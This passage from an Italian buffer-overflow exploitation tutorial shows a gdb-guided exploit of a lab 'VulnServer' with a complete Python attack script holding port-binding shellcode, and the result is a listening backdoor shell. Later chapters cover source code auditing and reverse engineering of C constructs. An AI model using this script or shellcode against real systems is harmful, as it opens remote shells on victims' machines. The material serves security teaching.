There is NO WARRANTY, to the extent permitted by law. Type "show copying"

and "show warranty" for details.

This GDB was configured as "i486-linux-gnu"...

Settiamo un breakpoint sulla strcpy() incriminata, ed uno nel punto appena precedente al ritorno

della funzione.

(gdb) break 115

Breakpoint 1 at 0x8048b95: file main.c, line 115.

(strncpy(buffer,recv_buffer,WRONG_DEST_BUFFER_SIZE);)

(gdb) break 130

Breakpoint 2 at 0x8048cae: file main.c, line 130. (fine della funzione copystring)

Avviamo il server sulla porta 65535,

(gdb) run 65535

Starting program: /media/MATTEO-1/Hack_environment/Linux/Demonstrations/VulnServer/VulnServer

65535

[Thread debugging using libthread_db enabled]

Il server è in ascolto.

Dobbiamo connetterci ed inviare qualcosa per arrivare al breakpoint, utilizziamo netcat per

falsificare una connessione client e inviare dei dati:

root@HackLab:~# echo "vrfy `perl -e print "A" x 1000`" | nc 192.168.0.102 65535

Utilizzando il perl inviamo 1024 byte di dati, siamo ora prima della funzione strcpy();

recuperiamo un pò di informazioni:

[New Thread 0xb7e556b0 (LWP 12431)]

[New Thread 0xb7e54b90 (LWP 12437)]

ESP: B7E54284

[Switching to Thread 0xb7e54b90 (LWP 12437)]

Page 45: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 45 di 193

Breakpoint 1, function_copystring (threadid=0x7) at main.c:115

115 strncpy(buffer,recv_buffer,WRONG_DEST_BUFFER_SIZE);

(gdb) print &buffer

$1 = (char (*)[256]) 0xb7e542c4

L'indirizzo virtuale di buffer è 0xb7e542c4. Annotiamolo.

Proseguiamo con il programma, l'esecuzione si fermerà sul breakpoint numero 2.

(gdb) continue

Continuing.

Send() fail!

Breakpoint 2, function_copystring (threadid=0x0) at main.c:130

130 }

Send() fallisce. Questo è corretto abbiamo usato netcat, non siamo il client.

Diamo un occhio allo stack,

(gdb) x/20 $esp

0xb7e54290: 0x0804a480 0x00000001 0x0000000d 0xb7fb0560

0xb7e542a0: 0xb7fb4f88 0xb7e54364 0x6557f7c4 0x6d6f636c

0xb7e542b0: 0x6f742065 0x6d657220 0x2065746f 0x76726573

0xb7e542c0: 0x00007265 0x636c6557 0x20656d6f 0x72206f74

0xb7e542d0: 0x746f6d65 0x65732065 0x72657672 0x00000000

L'indirizzo di buffer è poco sotto esp, non sono stati aggiunti molti byte, infatti come vedete

dal sorgente buffer è uno dei primi elementi ad essere allocato. Come ho detto, il fatto di

poter vedere i sorgenti è un bel vantaggio.

E' buona norma non mettere esattamente l'indirizzo preciso, perchè sul sistema remoto non è

detto che le cose siano le medesime.

Come abbiamo già visto le istruzioni NOP vengono inserite apposta per avere una certa

"tolleranza di errore".

Non ci resta che provare.

Arrestiamo il debug.

Ora vedremo come poter inviare il payload sul server. Scrivere un client in C++ apposito per

questo compito non è una grande idea, abbiamo bisogno di poter cambiare agevolmente il nostro

client per poter fare vari tentativi nel caso le cose non volgessero subito per il verso giusto.

La cosa migliore è affidarsi a linguaggi di scripting come perl, ruby o python.

In questo esempio utilizzerò quest'ultimo linguaggio, le cui itruzioni base sono acquisibili in

un paio d'ore.

Il codice python atto a creare la connessione falsificata ed inviare il payload è il seguente:

-------------- script-attack.py ------------

# Script-attack

# Send payload to vulnerable remote server on TCP socket

__author__="Matteo Tosato"

__date__ ="$May 10, 2010 2:01:55 AM$"

Page 46: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 46 di 193

import sys

import socket

RHOST = sys.argv[1]

RPORT = int(sys.argv[2])

# Set ipotetic address (in reverse order)

ADDRESS = "\xe0\x32\xe5\xb7"

NOP = "\x90"

# Configuring code,

# On a remote server I have 768 bytes available.

# Set 56 bytes of nop instructions

buffer = NOP * 64

# PayLoad (port binding shellcode) (176 bytes)

buffer = buffer +

“\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74\x07\x31\xdb\x89\xd8\x40\xcd\x80\x31\xc9\x31\xc0”\

“\x31\xdb\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0”\

“\x31\xdb\x50\x50\x50\x66\x68\xaa\xaa\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02\x52”\

“\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x07\x31\xdb\x89\xd8\x40\xcd”\

“\x80\x31\xc0\x40\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xc0\x31\xdb\x50\x50\x52”\

“\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xc3\x31\xc0\x31\xc9\x6a\x3f\x58\xcd\x80\x31\xc0”\

“\x41\x6a\x3f\x58\xcd\x80\x31\xc0\x41\x6a\x3f\x58\xcd\x80\x31\xc0\x68\x2f\x73\x68\x2f”\

“\x68\x2f\x62\x69\x6e\x89\xe3\x88\x43\x07\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x31\xdb”\

“\x89\xd8\x40\xcd\x80\x90\x90\x90"

# Set return address (720 bytes)

buffer = buffer + ADDRESS * (512/4)

c = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

c.connect((RHOST, RPORT))

c.send(buffer)

print "Sent!"

print

c.close()

----------------- script-attack.py END -----------

La variabile ADDRESS deve essere configurata con l'indirizzo da usare per il salto.

Considerando l'indirizzo di buffer che abbiamo visto, dobbiamo decidere il valore da inserire.

Qui si decide l'esito dell'exploit.

Io scelgo di usare il valore 0xb7e542e0

Avviamo il server settando un breakpoint alla riga 130,

root@HackLab:~# gdb VulnServer

GNU gdb 6.8-debian

Copyright (C) 2008 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software: you are free to change and redistribute it.

Page 47: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 47 di 193

There is NO WARRANTY, to the extent permitted by law. Type "show copying"

and "show warranty" for details.

This GDB was configured as "i486-linux-gnu"...

(gdb) break 130

Breakpoint 1 at 0x8048cae: file main.c, line 130.

(gdb) run 65535

Starting program: /media/MATTEO-1/Hack_environment/Linux/Demonstrations/VulnServer/VulnServer

65535

[Thread debugging using libthread_db enabled]

perfetto, eseguiamo lo script, gdb va a fermarsi sul breakpoint, vediamo lo stato dello stack, e

vediamo il valore di EBP

[New Thread 0xb7e556b0 (LWP 12648)]

[New Thread 0xb7e54b90 (LWP 12658)]

ESP: B7E54284

Send() fail!

[Switching to Thread 0xb7e54b90 (LWP 12658)]

(gdb) x/200 $esp

0xb7e54290: 0x0804a480 0x00000001 0x0000000d 0xb7fb0560

0xb7e542a0: 0xb7fb4f88 0xb7e54364 0x6557f7c4 0x6d6f636c

0xb7e542b0: 0x6f742065 0x6d657220 0x2065746f 0x76726573

0xb7e542c0: 0x00007265 0x636c6557 0x20656d6f 0x72206f74

0xb7e542d0: 0x746f6d65 0x65732065 0x72657672 0x90909090

0xb7e542e0: 0x90909090 0x90909090 0x90909090 0x90909090

0xb7e542f0: 0x90909090 0x90909090 0x90909090 0x90909090

0xb7e54300: 0x90909090 0x02b0c031 0xc08580cd 0xdb310774

0xb7e54310: 0xcd40d889 0x31c93180 0x51db31c0 0x016a066a

0xb7e54320: 0xe189026a 0x66b001b3 0xc18980cd 0xdb31c031

0xb7e54330: 0x66505050 0xb3aaaa68 0x89536602 0x5310b3e2

0xb7e54340: 0x515202b3 0xe189ca89 0x80cd66b0 0xc339db31

0xb7e54350: 0xdb310774 0xcd40d889 0x40c03180 0xe1895250

0xb7e54360: 0x66b004b3 0xc03180cd 0x5050db31 0xb3e18952

0xb7e54370: 0xcd66b005 0x31c38980 0x6ac931c0 0x80cd583f

0xb7e54380: 0x6a41c031 0x80cd583f 0x6a41c031 0x80cd583f

0xb7e54390: 0x2f68c031 0x682f6873 0x6e69622f 0x4388e389

0xb7e543a0: 0x89535007 0x0bb099e1 0xdb3180cd 0xcd40d889

0xb7e543b0: 0x90909080 0xb7e542e0 0xb7e542e0 0xb7e542e0

0xb7e543c0: 0xb7e542e0 0xb7e542e0 0xb7e542e0 0xb7e542e0

0xb7e543d0: 0xb7e542e0 0xb7e542e0 0xb7e542e0 0xb7e542e0

0xb7e543e0: 0xb7e542e0 0xb7e542e0 0xb7e542e0 0xb7e542e0

0xb7e543f0: 0xb7e542e0 0xb7e542e0 0xb7e542e0 0xb7e542e0

0xb7e54400: 0xb7e542e0 0xb7e542e0 0xb7e542e0 0xb7e542e0

...

(gdb) print $ebp

$1 = (void *) 0xb7e543c8

Dovremmo aver fatto giusto. Come vedete l'indirizzo 0xb7e542e0 punta in mezzo alle istruzioni

NOP. Bene, facciamo proseguire il programma e vediamo che succede.

(gdb) continue

Continuing.

Nessun errore, dovrebbe aver funzionato. Il payload dovrebbe aver eseguito la shell con execve()

sostituendo la nuova immagine di processo a quella del thread del server.

Dovremmo poter vedere un socket in ascolto sulla porta 43690, controlliamo:

Page 48: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 48 di 193

root@HackLab:~# netstat -napt

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name

tcp 0 0 0.0.0.0:43690 0.0.0.0:* LISTEN 12683/VulnServer << -- backdoor

tcp 0 0 0.0.0.0:65535 0.0.0.0:* LISTEN 12674/VulnServer

tcp 0 0 192.168.0.102:65535 192.168.0.102:42907 CLOSE_WAIT 12683/VulnServer

tcp6 0 0 ::1:48385 :::* LISTEN 12574/java

Eccola!

Abbiamo accesso al sistema grazie a VulnServer.

0x0a] L’analisi del codice sorgente

Up

In questo e nei prossimi capitoli approfondiremo ciò che concerne la revisione del codice

sorgente con lo scopo di capire meglio come la sintassi di alto livello viene tradotta in

lingaggio macchina ed essere in grado di riconoscere in questo le vulnerabilità introdotte.

Revisionare direttamente il codice sorgente è sicuramente la cosa più semplice e ideale per

cercare gli errori. Molti software sono open source, tutti possono vederne il codice,

migliorarlo e risolverne i problemi. A mio parere questa è sicuramente un'arma vincente in

quanto permette di trovare e risolvere velocemente i bug delle applicazioni.

Cosa molto più difficile è riconoscere il flusso e gli eventuali errori in un programma già

compilato quindi osservandone il codice macchina.

Molte persone rivedono il codice. Le motivazioni possono essere varie. A volte è necessario

risalire al funzionamento di un programma, altre volte viene fatto per scovare nel codice una

vulnerabilità adatta per permettere l'accesso in un sistema ed altre volte è semplicemente un

hobby.

Affrontiamo il caso più semplice; abbiamo a disposizione il codice sorgente di una applicazione.

Se questo software non è di grosse dimensioni possimo revisionare direttamente il codice senza

l'aiuto di strumenti particolari, come abbiamo fatto nei precedenti esempi.

Essendo codice di alto livello, è fatto per essere capito dall'uomo, quindi è solo una questione

di tempo e di pazienza.

Ma se invece abbiamo di fronte un progetto imponente composto da decine e decine di pagine di

codice è impensabile riuscire a comprenderlo in modo completo. In nostro aiuto ci sono strumenti

per "navigare" il codice di alto livello, un'esempio di questi è Cscope o Cbrowser.

Immaginiamo di dover modificare il kenel di linux, bè questi strumenti offrono un punto di

partenza più vantaggioso che farlo con normali editor di testo.

Un'altra categoria di strumenti molto più sofisticata è in grado di ricercare all'interno del

codice eventuali bug. C'è da dire che questi strumenti non possono essere in grado di trovare

nuovi bug, ma solamente cercare, in base ad un database di bug conosciuti, errori classici.

Pertanto nulla può sostituire l'attività di auditing tradizionale manuale compiuta da un

esperto.

Sempre rimanendo nel caso della revisione di codice sorgente, della famiglia del C, introduciamo

tre tipi di approcci possibili, nonchè quelli più utilizzati. Il primo di questi è indicato come

Top-Down. Questo non impone all'auditor di arrivare a capire in profondità il funzionamento del

programma. Per esempio viene ricercata all'interno del sorgente una specifica vulnerabilità.

Questo tipo di approccio è sicuramente veloce in confronto alle altre metodologie. I problemi

scovabili con questo metodo saranno però quelli più plateali, che possono essere presenti su una

sola riga di codice.

Il secondo metodo è descritto come bottom-up. L'auditor dovrà arrivare ad avere una profonda

conoscenza del programma, leggendo tutto o quasi il codice che lo compone. L'approccio bottom-up

Page 49: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 49 di 193

parte con l'indagine di main e si diramerà verso tutti gli altri sorgenti. Attraverso questo

tipo di indagine è possibile riconoscere i problemi intrinsechi del programma ed i più

complessi.

Il terzo metodo ritenuto alla fine il migliore, è una via di mezzo tra queste due appena

descritte. Che unisce la velocità del primo alla meticolosità dell'ultimo, ottenendo infine una

metodologia accettabile come tempo e come probabilità di successo.

Vulnerabilità comuni e non...

Le prime vulnerabilità scoperte e sfruttate sono quelle ancora oggi più pericolose.

Nel networking il linguaggio di programmazione maggiormente utilizzato è sicuramente il C ed il

C++, questi sono i linguaggi principali per lo sviluppo di applicazioni server. Di questo

linguaggio vi sono una serie di funzioni dette "pericolose", il loro utilizzo viene oggi

sconsigliato.

Sono tutte o quasi funzioni che lavorano con le stringhe. Come abbiamo accennato, alcune sono

strcpy(), strcat(), gets() ecc... e si occupano di copiare dati da un stringa sorgente ad una

stringa destinazione.

Queste funzioni non effettuano alcun controllo sulle dimensioni delle stringhe ricevute rispetto

alle dimensioni della stringa dove i dati verranno copiati. La sintassi di queste funzioni è per

lo più simile alla seguente:

function_string_copy(ptr string destination, ptr string source) Nello scrivere la sintassi ho

voluto mettere in luce una cosa. I due argomenti sono due puntatori alle rispettive stringhe.

Pertanto la funzione non è per nulla cosciente della lunghezza delle stringhe, essa si limiterà

a copiare i dati dalla sorgente alla destinazione fino a che non incontra un carattere nullo,

che segnala la fine della stringa.

Le stringhe ricevute in input dalla funzione (ptr string source) avranno una struttura del tipo:

"text\0". Tutte dovranno finire con \0 per segnalare alla funzione di copia la fine della

stringa.

Ora vedremo alcuni esempi di codice sorgente in C i quali contengono errori che permettono

operazioni di questo tipo. Evitando gli esempi più banali, Immaginiamo il seguente spezzone di

codice:

....

char dest_buf[256];

char not_term_buf[256];

strncpy(not_term_buf,input,sizeof(not_term_buf));

strcpy(dest_buf,not_term_buf);

...

Anche se apparentemente strncpy() controlla la dimensione del buffer di destinazione e non copia

più di 256 byte, il rischio rimane. Rimane perchè strncpy non inserisce un carattere nullo alla

fine della copia, pertanto se input è lungo 256 byte senza un terminatore nullo la funzione

strcpy() seguente non conosce la dimensione di not_term_buf e copierà fino a che non trova un

carattere nullo.

Per risolvere questa vulnerabilità è sufficiente inserire tra le due funzioni una riga di questo

tipo:

not_term_buf[sizeof(not_term_buf) - 1] = 0;

Riconoscere la vulnerabilità non è stato un compito poi così arduo in questo caso.

Un altro punto in cui è molto frequente trovare errori di progettazione è proprio la dove vi è

un controllo. Molto spesso vi sono dei cicli il cui compito è quello di verificare dimensioni e

formati dei dati.

La dove vi è un input esterno c'è sempre un'altissima probabilità di trovarne. Questo perchè

l'input può essere di qualsiasi formato e lunghezza.

Un buon controllo deve tenere in considerazione tutte i casi possibili.

Page 50: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 50 di 193

Quello che vedremo ora è codice vulnerabile preso da una versione di snort:

while(index < end)

{

/* get the fragment length (31 bits) and move the pointer to the start of the actual data */

hdrptr = (int *) index;

length = (int)(*hdrptr & 0x7FFFFFFF);

if(length > size)

{

DebugMessage(DEBUG_FLOW, “WARNING: rpc_decode calculated bad“

“length: %d\n”, length);

return;

}

else

{

total_len += length;

index += 4;

for (i=0; i < length; i++,rpc++,index++,hdrptr++)

*rpc = *index;

}

}

l'intento sarebbe quello di riassemblare frammenti RPC rimovendo l'header del protocollo RPC. Il

buffer per l'output è lo stesso usato per l'input ed è referenziato con index e rpc. total_len

rappresenta la dimensione dei dati scritti nel buffer. size dovrebbe invece essere la dimensione

dei dati del pacchetto in totale.

Il problema sta nel controllo sulla lunghezza del frammento RPC corrente con la lunghezza totale

dei dati. Il controllo è presente ma non è sufficiente. Il modo giusto di procedere sarebbe

invece controllare la dimensione di tutti i frammenti RPC con la dimensione del buffer di

output.

Un'altro esempio di stringa non terminata con '\0'

...

char npath[MAXPATHLEN];

int i;

for (i = 0; *name != ‘\0’ && i < sizeof(npath) - 1; i++, name++)

{

npath[i] = *name;

if (*name == ‘“‘)

npath[++i] = ‘“‘;

}

npath[i] = ‘\0’;

...

La condizione del for si basa sull'occorrenza del carattere nullo '\0' per copiare da un buffer

ad un altro.

All'interno del ciclo for per mezzo del carattere virgolette si tenta di riservare spazio per il

carattere nullo.

Ma se tale carattere si trova in ultima posizione, il carattere nullo verrebbe scritto fuori dal

buffer.

Il problema delle stringhe non terminate con il carattere nullo pone nella situazione del primo

esempio visto.

Quando la stringa viene posizionata nello stack e trattata con la famiglia di funzioni viste

sopra, risulta impossibile calcolarne la lughezza.

Un problema molto grave e molto presente oggi nelle applicazioni è quello relativo al confronto

Page 51: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 51 di 193

di valori con segno.

Prima di affrontarlo riepiloghiamo il modo con il quale i dati vengono rappresentati in

informatica e cosa dice la definizione del linguaggio C per quanto riguarda variabili con segno

o senza.

In informatica i numeri negativi sono memorizati in comlemento a 2. Il primo bit identifica il

segno. Se tutti i restanti bit saranno inverititi ed il numero è negativo. Un tipo int avrà

quindi a disposizione 15 bit per il valore ed uno riservato al segno.

Pertanto il range dei possibili valori sarà -32767 e +32767.

Cosa ben diversa succede quando si ha a che fare con un tipo unsigned. Questo avrà a

disposizione 16 bit. Quindi il range sarà completamente diverso, 0 e +65535.

Questa sottigliezza viene spesso trascurata dal punto di vista della programmazione. Se i tipi

vengono usati in modo improprio durante i controlli possono generare grossi problemi. Vediamone

un esempio, (discovered in 2002 by Mark Litchfield of NGSSoftware.)

len_to_read = (r->remaining > bufsiz) ? bufsiz : r->remaining;

len_read = ap_bread(r->connection->client, buffer, len_to_read);

I tipi dei dati sono i seguenti:

signed int bufsiz

signed off_t r->remaining

La prima riga assegna a len_to_read la variabile minore tra bufsiz e r->remaining entrambe con

segno.

Nel caso in cui r->remaining è negativo a len_read verrebbe passato un valore negativo. Come si

intuisce dagli argomenti, la funzione ap_bread() eseguirà una copia in stile memcpy(), quindi il

valore negativo sarà interpretato come unsigned. Quindi il primo bit di segno diverrà

significativo generando un numero di dimensione molto grande. Ad esempio il numero negativo -14

dopo un cast in unsigned diventa 4294967282.

Le conseguenze sono intuibili.

Possiamo anche dimostrarlo usando printf per la conversione.

void main()

{

// Signed comparison vulnerabilities :O

int a;

a = -14;

printf("Value of signed a is: %d (%X)\n",a,a);

printf("After casting with unsigned has become %u (%X)\n",a,a);

}

root@HackLab:~# cc disasm_4.c -o disasm_4

root@HackLab:~# ./disasm_4

Value of signed a is: -14 (FFFFFFF2)

After casting with unsigned has become 4294967282 (FFFFFFF2)

I numeri a seconda dell'interpretazione assumono valori molto diversi.

La soluzione a questo problema sta nell'usare tutte variabili senza segno.

Esistono vulnerabilità riguardo i numeri interi. Quando una variabile viene incrementata oltre

il suo valore massimo si ha un "integer overflow".

Questa vulnerabilità può essere utilizzata per controllare la quantità di dati copiata in buffer

allocati e permette di eseguire la copia di molti più dati della reale capacità del buffer.

char *buf;

int allocation_size = attacker_defined_size + 16;

buf = malloc(allocation_size);

Page 52: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 52 di 193

memcpy(buf,input,attacker_defined_size);

attacker_defined_size ha un valore compreso tra -1 e -16. In questo modo il buffer allocato avrà

dimensioni troppo piccole in relazione alla dimensione dei dati in arrivo. Fate caso che

attacker_defined_size è considerato unsigned da memcpy(), questa copia una enorme quantità di

byte in buf.

Altro problema ancora sugli interi sono le conversioni tra tipi differenti, le conseguenze

possono essere diverse e dipendono dai casi. La conversione da un integer più grande ad uno più

piccolo (int to short), può provocare il troncamento dell'int, se questo era con segno può dar

luogo a risultsi imprevedibili sempre causati dalla notazione in complemento a due. La

conversione di un tipo corto in uno più ampio può dar luogo ad analoghi problemi. Si consideri a

tiolo di esempio il valore signed short -1; convertendolo in un unsigned integer avremo un

valore, se vogliamo espresso in bit, di oltre 4 Giga Bytes.

L'esempio:

void main()

{

short source = -1;

unsigned int destination;

destination = source;

printf("Source: %X\nDestination: %X\n",source,destination);

printf("Decimal notation:\n");

printf("Source: %d\nDestination: %u\n",source,destination);

}

root@HackLab:~# cc disasm_5.c -o disasm_5

disasm_5.c: In function 'main':

disasm_5.c:7: warning: incompatible implicit declaration of built-in function 'printf'

disasm_5.c:2: warning: return type of 'main' is not 'int'

root@HackLab:~# ./disasm_5

Source: FFFFFFFF

Destination: FFFFFFFF

Decimal notation:

Source: -1

Destination: 4294967295

Purtroppo nel C e C++ la conversione tra interi short int, con e senza segno puù risultare

complicata e fonte di errori.

Vi sono altre vulnerabilità, anche se meno diffuse di quelle appena viste, che convolgono le

variabili non inizializzate, altre che riguardano le variabili dal contenuto indefinito.

Quest'ultimo tipo di problemi è piuttosto difficile da sfruttare perchè occorre prevedere quali

dati sono contenuti nello stack o nello heap al momento dell'utilizzo. Questi dati sono ciò che

è rimasto da un'attività precedente in memoria.

Un esempio poterbbe essere il seguente:

int vuln_fn(char *data,int some_int) {

char *test;

if(data) {

test = malloc(strlen(data) + 1);

strcpy(test,data);

some_function(test);

}

if(some_int < 0) {

free(test);

return -1;

}

Page 53: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 53 di 193

free(test);

return 0;

}

Se data è NULL test non viene inizializzato e, al momento del passaggio alla funzione

successiva, contiene dati indefiniti.

0x0b] Analisi tramite reverse engineering

Up

Quando non si hanno a disposizione i sorgenti, è necessario revisionare il codice compilato.

Diventa di importanza fondamentale la conoscenza dell'assembly e, soprattutto, dobbiamo studiare

come le istruzioni di linguaggio superiore vengono tradotte in linguaggio macchina.

Uno dei problemi di questa pratica è che le istruzioni generate dopo la compilazione variano a

seconda del compilatore e linguaggio utilizzato.

Ora cercheremo di parlare dei costrutti tipici nel modo più generale possibile.

- Stack frames

Lo stack frames è una parte dello stack dedicata alla funzione, entro il quale vengono allocate

variabili locali e argomenti.

Il più comune layout di stack frames per una funzione è quando il registro "frame pointer" EBP

viene usato come puntatore costante allo stack frame precedente.

Il frame pointer è anche una locazione costante relativa a dove la funzione accede ai suoi

argomenti e variabili locali.

Il prologo per una funzione che usa uno stack frame tradizionale è il seguente:

push ebp // Salva il vecchio frame pointer nello stack

mov ebp, esp // Setta il nuovo frame pointer in ESP

sub esp, 5ch // Riserva spazio per le variabili locali

Quindi rispetto ad EBP avremo le variabili locali allocate ad un offset negativo. Mentre gli

argomenti delle funzioni sono localizzate ad un offset positivo.

Il primo argomento della funzione sarà localizzato a EBP+8. Generalmente i disassemblatori

(facciamo rif. a IDA Pro) sostituiscono 8 con una variabile, ad esempio scriveranno EBP+arg_0.

Molto del codice generato da compilatori come quelli di Visual C++ e gcc utilizzano questo

layout.

- Convenzioni di chiamata

Esistono due metodi principali per chiamare una funzione, "C calling convention" e "stdcall

calling convention".

la prima non è riferita solamente al codice C ma è un modo per passare argomenti e rispristinare

lo stack del programma. Con questo tipo di convenzione gli argomenti della funzione sono

inseriti nello stack come essi appaiono nel codice sorgente, quindi:

some_function(some_pointer,some_integer);

diventa in assembly:

push some_integer

push some_pointer

call some_function

add esp, 8

Siccome vi sono due argomenti da 4 byte per la funzione, al suo ritorno lo stack pointer viene

Page 54: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 54 di 193

ripristinato di 8 bytes. Un'altro sistema per rispristinare lo stack pointer sarebbe farlo 4

byte per volta per mezzo di due pop.

Il secondo tipo di convenzione comunemente presente nel codice C e C++ è stdcall. L'ordine di

passaggio degli argomenti è lo stesso appena visto. Ciò che cambia è il tipo di ritorno dalla

funzione, che sarà RET 0ch ad esempio per rialsciare 12 bytes dallo stack.

- General Layout

Prima di vedere i costrutti classici della programmazione strutturata, vediamo i layout generali

per la struttura di una funzione. Questi sono spesso variabili. La funzione inizierà nella

maggior parte dei casi con un prologo e finirà con un epilogo. Il prologo lo abbiamo già visto

parlando dello stack frame.

Una funzione non ritornerà sempre per mezzo di una istruzione RET, il compilatore può

ottimizzare il codice inserendo una istruzione JMP verso una lcoazione di memoria precedente

alla chiamata. Un compilatore che genera invece dei layout non usuali è MSVC++.

Questo usa degli algoritmi euristici i quali prevedono quali funzioni saranno più frequentemente

usate piuttosto di altre, date queste informazioni sistemerà le funzioni più utilizzate vicine

creando un unico flusso di programma ed invece sistemerà quelle meno utilizzate in locazioni di

memoria lontanta dalla principale.

- if statment

Il costrutto if è sicuramente uno dei più diffusi costrutti decisionali. Generalmente questo è

definibile in assembly con una istruzione di confronto come CMP ed un salto condizionato subito

di seguito.

Ad esempio:

int some_int;

if(some_int != 32)

some_int = 32;

Una volta compilato, questo frammento di codice diventa:

mov eax, [ebp-4] // Muove il puntatore alla variabile some_int in EAX

cmp eax, 32 // Esegue un confrono tra EAX e il vlaore 32

jnz past_next_instructions // Esegue un salto condizionato dal risultato di una operazione

aritmetico-logica tra numeri senza segno

mov eax, 32 // Se il salto non avviene la variabile a cui punta EAX viene

settata con 32

- Cicli for e while

Il tipo di ciclo a livello di assembly non è facilmente distinguibile. Questo non importa. I

cicli sono spesso gli elementi chiave di tutta l'operazione di auditing del codice.

Essi sono caratterizzati solitamente da porzioni di codice ripetute.

Esempio:

char *ptr, *output, *outputend;

while(*ptr)

{

*output++ = *ptr++;

if(output >= outputend)

break;

}

diamo per assunto che nella funzione le variabili sono riposte nei registri nel modo seguente:

ECX = ptr; EDX = output; EBP+8 = outputend

Page 55: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 55 di 193

mov al, [ecx] // Muove nella parte bassa di AL ptr

test al, al // Simula una AND per verificare se *ptr = 0

jz loop_end // Se *ptr = 0 il loop termina

mov [edx], al // Prima setta *output al valore di *ptr

inc ecx // icrementa *ptr

inc edx // icrementa *output

cmp edx, [ebp+8] // Simula una sottrazzione tra ouputend e output

jae loop_end // Se il flag riporto non è settato esce dal loop

jmp loop_begin // Altrimenti prosegue

La costruzione dei cicli non è semplice come per gli if, ma la si trova molto spesso.

- switch statment

I costrutti switch sono piuttosto complessi. Spesso rendono il listato assembly un pò strano e

ostico da capire. Possono essere benissimo strutturati come una serie di if statment uno in fila

all'altro.

int some_int,other_int;

switch(some_int) {

case 0:

other_int = 0;

break;

case 1:

other_int = 10;

break;

case 2:

other_int = 30;

break;

default:

other_int = 50;

break;

}

Molto spesso i decompilatori efficenti come IDA riconoscono questa serie di if e inseriscono la

rappresentazione dell'iterazione switch:

some_int = eax, other_int = ebx

cmp eax, 2

ja default_case

jmp switch_jmp_table[eax*4];

case_0:

xor ebx, ebx

jmp end_switch

case_1:

mov ebx, 10

jmp end_switch

case 2:

mov ebx, 30

jmp end_switch

default_case:

mov ebx, 50

end_switch:

- memcpy()-like constructs

Page 56: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 56 di 193

Nei compilatori moderni la funzione memcpy() non viene tradotta (come ci si aspetterebbe) in una

chiamata ad una libreria standard del C.

Nella maggior parte dei casi, l'operazione di copia viene ottimizzata dal compilatore con una

sequenza di istruzini, queste sono molto più veloci rispetto a dover effettuare una call.

Una sequenza di istruzioni atta a copiare un'area di memoria in un'altra è la seguente:

mov esi, source_address // In esi c'è il puntatore al buffer sorgente

mov ebx, ecx // In ECX si trova la lunghezza della stringa

shr ecx, 2 // Viene divisa per 4

mov edi, eax // Destinazione in EAX

repe movsd // Questa istruzione copia aree di 4 byte alla volta (movsd) ECX volte

(repe)

mov ecx, ebx // Muove EBX in ECX

and ecx, 3 // Divide per 8

repe movsb // Infatti movsb copia gli 8 bit restanti

La funzione memset() ha un costrutto circa identico, ma avrebbe utilizzato l'istruzione repe

closd.

- strlen()-like constructs

Anche la funzione strlen() viene ottimizzata dal compilatore con una serie di funzioni.

All'inizio può sembrare ostica da capire.

Generalmente è definita con le seguenti istruzioni:

mov edi, string // L'indirizzo della stringa viene spostato in EDI

or ecx, 0xffffffff //

xor eax, eax // Viene azzerato EAX

repne scasb // Questa istruzione, fa avanzare EDI fino al carattere successivo al

carattere nullo

not ecx // Qui ECX viene cambiato di segno

dec ecx // e poi decrementato per ottenere la effettiva lunghezza della stringa

Questi costrutti sono largamente utilizzati.

I costrutti appena visti sono relativi al linguaggio C. Oltre al C anche il C++ è largamente

utilizzato nella progettazione di applicativi server.

I costrutti del C++ sono simili a quelli del C, ma ne vengono introdotti alcuni di nuovi.

- Il puntatore this

Il puntatore this rappresenta l'istanza di una classe. Quando si usa un membro di una classe, il

puntatore this deve essere passato alla funzione come primo argomento. Solitamente avviene in

modo implicito. Nel sorgente assembly non dovremo specificarlo come argomento. Questo sarà

autoamticamente passato e utilizzabile all'interno della funzione.

Quando il codice sorgente viene tradotto, il puntatore this appare. Solitamente prima della

chiamata alla funzione il puntatore viene passato attraverso il registro ECX. Le seguenti

istruzioni sono un esempio:

push edi

push esi

push [ebp+arg_0]

lea ecx, [ebx+5Ch] // Il puntatore viene messo in ECX prima

della call

call ?ParseInput@HTTP_HEADERS@@QAEHPBDKPAK@Z

Siccome il registro ECX è di tipo volatile, la funzione sistemerà il puntatore in un'altro

registro durante l'esecuzione.

Page 57: System exploitation using buffer overflow

System exploitation using buffer overflow

